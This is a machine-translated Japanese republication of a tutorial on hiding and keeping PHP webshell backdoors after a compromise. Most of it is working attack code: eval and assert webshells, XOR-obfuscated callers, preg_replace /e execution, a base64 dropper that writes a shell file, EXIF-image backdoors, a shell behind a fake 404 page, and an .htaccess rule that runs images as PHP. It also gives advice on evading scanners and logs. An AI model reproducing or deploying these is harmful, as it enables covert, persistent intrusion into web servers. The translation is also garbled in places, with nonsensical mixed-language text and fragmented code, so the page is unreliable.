ホームページ  >  記事  >  バックエンド開発  >  PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 09:47:031310ブラウズ

PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル

テストが成功した後は、通常、バックドアを終了する作業が非常に重要です。通常、デプロイされるバックドアには、データベースのアクセス許可が含まれます。 WEB 権限、システム ユーザー権限など。この記事では、パブリック バックドアに隠されているいくつかのアイデアを広めます。

広告:

0×00序文

テストが成功した後は、通常、バックドアを離れる作業が重要です。通常、バックドアにはデータベース権限、WEB 権限、システム ユーザー権限などが含まれます。この記事は人気があります。フォルクスワーゲンのバックドアに隠されたアイデアの一部を科学します

PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

  • eval($_POST['cmd']);?> またはこれ
  • $_POST['cmd']);?>
    1. もちろん、これは呼び出される関数が異なるだけです。PHP によって無効にされた関数については、php.ini: disable_functions. で探してください。 しかし、操作とメンテナンスで直感的にシェルを見つけるための方法はたくさんあります。例えば、 ◆ファイル名/変更時刻/サイズとファイルバックアップの比較により異常を発見
    ◆Scanbackdoor.php/Pecker/shelldetect.phpなどのWEBSHELLバックドアスキャンスクリプトや各種スキャナー等を通じて発見

    ◆Access.logのアクセスログからバックドアの場所を発見

    ◆ または、テスト文がWAFによってブロックされ、別の警告ログが送信される等の現象が発生します。

    一般的な検出方法を考慮して、シェルを隠すための一般的な方法を次の 7 つにまとめます

    0×01回避

    様々なバックドアスキャンコードを見てみると、誰もが知っているキーワードをシェル内に残すことは絶対に禁止されていることが分かります

    次のような一般的なキーワード:

    ◆システムコマンド実行:system、passthru、shell_exec、exec、popen、proc_open

    ◆コードの実行: eval、assert、call_user_func、base64_decode、gzinflate、gzuncompress、gzdecode、str_rot13PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

    ◆ファイルのインクルード: require、require_once、include、include_once、file_get_contents、file_put_contents、fputs、fwrite

    以前は、$_POST[0]($_POST[1]) を巧みに使ってコマンドを実行していた友人もいましたが、残念なことに、今ではスキャナーから逃れることは困難ですが、すべてが変化しており、構築方法は無限です

    tudouya クラスメートが

    を使用して FREEBUF で [構築テクニック](http://www.freebuf.com/articles/web/33824.html) を提供しました

    @

    $_++;

    // $_ = 1

    1. $__=("#"^"|"); // $__ = _
    2. $__.=("."^"~"); $__.=(
    3. "/"^
    4. "`"); // _PO $__.=(
    5. "|"^
    6. "/"); // _POS $__.=(
    7. "{"^
    8. "/"); // _POST ${$__}[!
    9. $_](${
    10. $__}[$_]); // $_POST[0]($_POST[1]); ?> 構築生成、もちろん直感的すぎる場合はこのように書くこともできます
    11. $_++;$__=("#"^"|").("."^"~").("/"^"`" ).("|"^"/").("{"^"/");@${
    12. $__}[!
    13. $_](${
    $__}[

    $_ ]);?>

      次に、偽装する通常のコードを入力すると、単純な「アンチキル」シェルのサンプルが表示されます
    1. 実行にはエラーがなく、通常のスキャナーをバイパスして、新しい一時シェルを作成することもできます

      PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

      0×02の特徴

      変数を処理するときに PHP の文法機能を利用して、二重引用符で囲まれたデータに変数が含まれているかどうかを分析 (およびその値を解析) する興味深い方法です。

      例:

        ${@
      1. eval(phpinfo())}
      {} は二重引用符内の変数の内容を解析でき、@ はエラー発生後も実行を継続します

      その後、隠されたバックドアを大々的に構築し始めることができますが、ここでの構造は関数によって引き起こされるコマンド実行に依存するものです、はい、それは preg_replace です

        "//e",$_POST['cmd'],"");?> このメソッドは明らかにスキャナーのブラックリストに含まれています。簡単に変更してください

      関数 funfunc(

      $str){}
      1. echo preg_replace("/(.+?)/ies", 'funfunc("1")', $_POST[
      2. "cmd"]);
      3. ?> 実行されましたが見つかりません
      4. 実行方法は明らかですが、通常のマッチング後の{${phpinfo()}}をfunfuncに渡すとコードが実行されます
      funfunc(

      "{${phpinfo()}}")

      PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

      別の方法

        "$arr="".$_GET['cmd'].
    2. "";");?>

    1. 0×03 にはが含まれます ファイルのインクルードは誰もが試したことのある方法ですが、インクルードするテクニックもあります 通常のファイルのインクルードは、特定の txt または jpg を含むインクルードである場合もあれば、インクルードの脆弱性を直接残す場合もありますが、スキャナーで簡単に見つけることができ、追加のインクルード ファイルも簡単に見つけることができます このスクリプトを見る

    if(@isset($_GET[コンテンツ]))

    $fp=

    fopen(

    'README',
      'w');
    1. file_put_contents(
    2. 'README'," @file_put_contents('README',
    3. $_GET[コンテンツ],FILE_APPEND);
    4. fclose(
    5. $fp);
    6. 「README」が必要;} ?>
    7. これにより、必要なシェルを生成し、必要に応じて含めることができます
    8. 残念ながら、file_put_contents などの関数は機密性が高すぎるため、スキャンによって簡単に発見されます エンコーディング生成メソッドを使用してシェルを作成し、アクセスして生成します。
    9. fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode(
    10. 'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
    11. ?>
    12. 一部のスキャナーを回避できますが、このモードは、検出を避けるために生成された新しいファイルも単純に非表示にする必要があります。
    13. もちろん、ヒューリスティックなどの新しい概念は考慮されません

    この方法が要求に応えられない場合、賢い攻撃者は写真に戻ります

    1. $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?> ;

    参考:JPG画像のEXIFに隠されたバックドア

    今回は単純に /b をコピーしてイメージ horse を生成する必要はありません。preg_replace 実行ファイルの特定のフラグを借用することも可能です。

    PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

    ここで未定義関数 exif_read_data() の呼び出しを求めるプロンプトが表示される場合があります

    php.ini、extension=php_exif.dllを変更する必要があります

    読み込み順序をextension=php_mbstring.dllの後に変更します

    PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

    この画像のバックドアは preg_replace e パラメーターに依存し、PHP の変数解析と実行に依存し、最後にファイル識別に依存して完全なシェルを構築していることがわかります。隠れたバックドアを初めて使用する人

    もちろん、インクルードポイントがある限り、インクルードされるファイルの形式は多様で、error_logを含めても(クロージャも考えられますが)、予期せぬものしかありません...

    0×04 非表示

    訪問者がバックドアの存在を発見できないように、賢いセキュリティ研究者も訪問者を混乱させ、謎を作り出します

      li class="alt">"-//IETF//DTD HTML 2.0//EN"> 404 見つかりません 頭>
    1. 見つかりません

    2. 要求された URL がこのサーバーに見つかりませんでした。

    3. ボディ>
    4. @preg_replace(
    5. "/[checksql]/e",
    6. $_POST[
    7. 'cmd'],
    8. "saft");
    9. ?>
    10. 上記の HTML レンダリングの助けを借りて、閲覧ページは閲覧者を混乱させるために 404 を偽装し始めました
    11. しかし、訪問者から隠すことはできず、ログ分析からも隠すことはできません。これをより適切に隠すために、次のスクリプトが構築されます ヘッダー('HTTP/1.1 404'); ob_start();
    12. @
    13. fputs(
    14. fopen(
    base64_decode(

    'cGx1Z2luX20ucGhw'),w),

    base64_decode(

    'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

    1. ob_end_clean();
    2. ?>
    3. アクセスは実際の 404 です、はい、同じことがログにも当てはまります ただし、この時点では、接続したいスクリプトは現在のディレクトリに生成されています 0×05 混乱 weevely ツールを使用したことのある人は、このツールが生成するアンチキル シェルが次のようになることを知っているはずです
      1. $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
      2. $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiukiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
      3. $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
      4. $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
      5. $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
      6. $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
      7. $jgfi = $ftdf("l","","lclrelaltel_functlilon");  
      8. $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
      9. ?> 

      ターミナル下電影後画像使用

      PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

      追伸: 截益更多手机电影电影电影了 :(

      🎝

      もちろん、これはコードレベルの話です

      より一般的な電影混光映像の性質:

      ◆ ドキュメントの時間を変更する

      ◆改名设计安全後後手机手机,设计计直观看出设计電影

      ◆ document 大学の白装電影(全線看起大学像个全線電影)

      ◆ 选好藏身電影上は最少设计

      ◆ 纸形电影%20

      空格カタログについて、まだ比較的簡単に見つかります

      PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル0×06解析

      最佳.htaccess、追加解析後门

      如:PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

      AddType application/x-httpd-php .jpg

      以以weeverlyの例文PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル_PHP チュートリアル

      0×07 杂溶

      上記の方法を要約すると、そのほとんどは構造化エラーのプロセスであり、構造化エラーのコードは同奇葩、後门名多奇葩.如能手机手机思路、独自の隠しシェルを構築する想来亦非难事.下ダウンロード下ダウンロード的電影的之下谈、名位有最好的提交还望不吐赐教。

      http://www.bkjia.com/PHPjc/1029359.html

      www.bkjia.com

      tru​​ehttp://www.bkjia.com/PHPjc/1029359.html技術記事 PHP 後门結果と後门作業、php 後门作業テストが成功した後は、通常、特別な計画が完了するまでにさらに時間がかかります。
    声明:
    この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。